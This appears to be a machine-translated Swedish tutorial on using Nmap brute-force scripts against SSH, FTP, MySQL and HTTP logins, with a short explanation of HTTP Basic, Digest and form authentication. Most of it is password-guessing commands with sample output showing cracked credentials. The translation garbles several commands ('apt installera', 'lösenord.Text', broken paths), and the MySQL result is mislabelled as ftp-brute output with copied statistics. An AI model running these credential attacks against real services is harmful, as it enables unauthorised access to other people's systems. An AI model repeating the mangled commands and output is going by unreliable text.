[e-postskyddad]: ~ $ sudo apt installera nmap -y
[e-postskyddad]: ~ $ cd / usr / share / nmap / scripts /
[e-postskyddad]: ~ $ ls * brute *
I den här handledningen utforskar vi hur vi kan använda Nmap för en brute-force attack.
SSH Brute-Force
SSH är ett säkert fjärradministrationsprotokoll och stöder openssl & lösenordsbaserad autentisering. För att tvinga SSH-lösenordsbaserad autentisering kan vi använda “ssh-brute.nse ”Nmap-skript.
ubuntu @ ubuntu: / usr / share / nmap / script / $ ls * ssh * brute *ssh-brute.nse
Skicka användarnamn och lösenordslista som ett argument till Nmap.
[e-postskyddad]: ~ $ nmap --script ssh-brute -p22 192.168.43.181--script-args userdb = användare.txt, passdb = lösenord.Text
Starta Nmap 7.70 (https: // nmap.org) vid 2020-02-08 17:09 PKT
Nmap-skanningsrapport för 192.168.43.181
Värd är uppe (0.00033s latens).
HAMNSTATSSERVICE
22 / tcp öppen ssh
| ssh-brute:
| Konton:
| admin: p4ssw0rd - Giltiga referenser
| _ Statistik: Gjorde 99 gissningar på 60 sekunder, genomsnittlig tps: 1.7
Nmap klar: 1 IP-adress (1 värd upp) skannad 60.17 sekunder
FTP Brute-Force
FTP är ett File Transfer Protocol som stöder lösenordsbaserad autentisering. För att brute-force FTP använder vi “ftp-brute.nse ”Nmap-skript.
ubuntu @ ubuntu: / usr / share / nmap / script / $ ls * ftp * brute *ftp-brute.nse
Skicka användarnamn och lösenordslista som ett argument till Nmap.
[e-postskyddad]: ~ $ nmap --script ftp-brute -p21 192.168.43.181 - script-argsuserdb = användare.txt, passdb = lösenord.Text
Starta Nmap 7.70 (https: // nmap.org) kl. 2020-02-08 16:51 PKT
Nmap-skanningsrapport för 192.168.43.181
Värd är uppe (0.00021s latens).
HAMNSTATSSERVICE
21 / tcp öppen ftp
| ftp-brute:
| Konton:
| admin: p4ssw0rd - Giltiga referenser
| _ Statistik: Gjorde 99 gissningar på 20 sekunder, genomsnittlig tps: 5.0
Nmap klar: 1 IP-adress (1 värd upp) skannades 19.50 sekunder
MYSQL Brute-Force
Ibland lämnas MySQL öppen för externa anslutningar och tillåter vem som helst att ansluta till den. Dess lösenord kan knäckas med hjälp av Nmap med "mysql-brute" -skriptet.
[e-postskyddad]: ~ $ sudo nmap --script mysql-brute -p3306 192.168.43.181--script-args userdb = användare.txt, passdb = lösenord.Text
Starta Nmap 7.70 (https: // nmap.org) vid 2020-02-08 16:51 PKT
Nmap-skanningsrapport för 192.168.43.181
Värd är uppe (0.00021s latens).
HAMNSTATSSERVICE
3306 / tcp öppna mysql
| ftp-brute:
| Konton:
| admin: p4ssw0rd - Giltiga referenser
| _ Statistik: Gjorde 99 gissningar på 20 sekunder, genomsnittlig tps: 5.0
Nmap klar: 1 IP-adress (1 värd upp) skannad 19.40 sekunder
HTTP Brute-Force
HTTP använder tre typer av autentisering för att autentisera användare till webbservrar. Dessa metoder används i routrar, modem och avancerade webbapplikationer för att utbyta användarnamn och lösenord. Dessa typer är:
Grundläggande autentisering
I HTTP-grundläggande autentiseringsprotokoll kodar webbläsaren användarnamn och lösenord med base64 och skickar det under rubriken "Auktorisering". Du kan se detta i följande skärmdump.
Auktorisering: Grundläggande YWRtaW46YWRtaW4 =
Du kan base64 avkoda denna sträng för att se användarnamn och lösenord
[e-postskyddad]: ~ $ echo YWRtaW46YWRtaW4 = | base64 -dadmin: admin
Grundläggande HTTP-autentisering är osäker eftersom den skickar både användarnamn och lösenord i klartext. Varje Man-in-the-Middle Attacker kan enkelt fånga upp trafiken och avkoda strängen för att få lösenordet.
Digest Authentication
HTTP Digest Authentication använder hashingtekniker för att kryptera användarnamnet och lösenordet innan det skickas till servern.
Hash1 = MD5 (användarnamn: realm: lösenord)Hash2 = MD5 (metod: digestURI)
respons = MD5 (Hash1: nonce: nonceCount: cnonce: qop: Hash2)
Du kan se dessa värden under rubriken "Auktorisering".
Sammanfattningsbaserad autentisering är säker eftersom lösenordet inte skickas i klartext. Om en Man-in-the-Middle angripare avlyssnar trafiken kommer han inte att kunna få lösenordet för ren text.
Formbaserad autentisering
Grundläggande och Digest-autentisering stöder endast överföring av användarnamn och lösenord medan formulärbaserad autentisering kan anpassas utifrån användarens behov. Du kan skapa din egen webbsida i HTML eller JavaScript för att tillämpa dina egna kodnings- och överföringstekniker.
Vanligtvis skickas data i formulärbaserad autentisering i klartext. För säkerhetsfrågor måste HTTP användas för att förhindra Man-in-the-Middle-attacker.
Vi kan brute force alla typer av HTTP-autentisering med Nmap. Vi använder skriptet "http-brute" för det ändamålet.
ubuntu @ ubuntu: / usr / share / nmap / script / $ ls * http * brute *http-brute.nse
För att testa detta Nmap-skript löser vi en offentligt hostad brute-force-utmaning av pentester academy på denna URL http: // pentesteracademylab.appspot.com / lab / webapp / basicauth.
Vi måste tillhandahålla allt inklusive värdnamn, URI, förfrågningsmetod och ordböcker separat som ett skriptargument.
[e-postskyddad]: ~ $ sudo nmap -p80 - script http-brute pentesteracademylab.appspot.com--script-args http-brute.värdnamn = pentesteracademylab.appspot.com,
http-brute.sökväg = / lab / webapp / basicauth, userdb = användare.txt, passdb = lösenord.Text,
http-brute.metod = POST
Starta Nmap 7.70 (https: // nmap.org) vid 2020-02-08 21:37 PKT
Nmap-skanningsrapport för pentesteracademylab.appspot.com (216.58.210.84)
Värd är uppe (0.20-tal latens).
Andra adresser för pentesteracademylab.appspot.com (ej skannad): 2a00: 1450: 4018: 803 :: 2014
rDNS-post för 216.58.210.84: mct01s06-in-f84.1e100.netto
HAMNSTATSSERVICE
80 / tcp öppna http
| http-brute:
| Konton:
| admin: aaddd - Giltiga referenser
| _ Statistik: Gjorde 165 gissningar på 29 sekunder, genomsnittlig tps: 5.3
Nmap klar: 1 IP-adress (1 värd upp) skannad 31.22 sekunder
Slutsats
Nmap kan användas för att göra många saker trots bara enkel portavsökning. Det kan ersätta Metasploit, Hydra, Medusa och många andra verktyg som är speciellt gjorda för online brute forcing. Nmap har enkla, lättanvända inbyggda skript som tvingar nästan alla tjänster inklusive HTTP, TELNEL, SSH, MySQL, Samba och andra.